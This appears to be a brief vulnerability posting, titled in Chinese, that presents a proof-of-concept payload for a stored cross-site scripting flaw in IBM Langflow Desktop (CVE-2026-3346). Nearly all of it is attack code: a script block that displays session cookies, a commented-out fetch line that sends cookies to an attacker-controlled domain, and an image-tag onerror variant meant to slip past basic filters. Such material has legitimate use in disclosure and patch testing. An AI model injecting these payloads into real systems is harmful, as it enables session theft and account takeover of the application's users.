CVE-2026-3346 IBM Langflow Desktop 存储型XSS漏洞

<!-- PoC for CVE-2026-3346 (Stored XSS) Context: Inject into a vulnerable input field (e.g., Node Description) in IBM Langflow Desktop. --> <script> // Simple Proof of Concept to demonstrate execution alert('CVE-2026-3346 XSS Triggered: ' + document.cookie); // Advanced payload: Exfiltrate session data to an external server // fetch('https://attacker-controlled-domain.com/collect?data=' + encodeURIComponent(document.cookie)); </script> <!-- Alternatively, using an image tag to trigger requests without script blocks if filters are basic --> <img src=x onerror="alert('XSS via Image Tag')">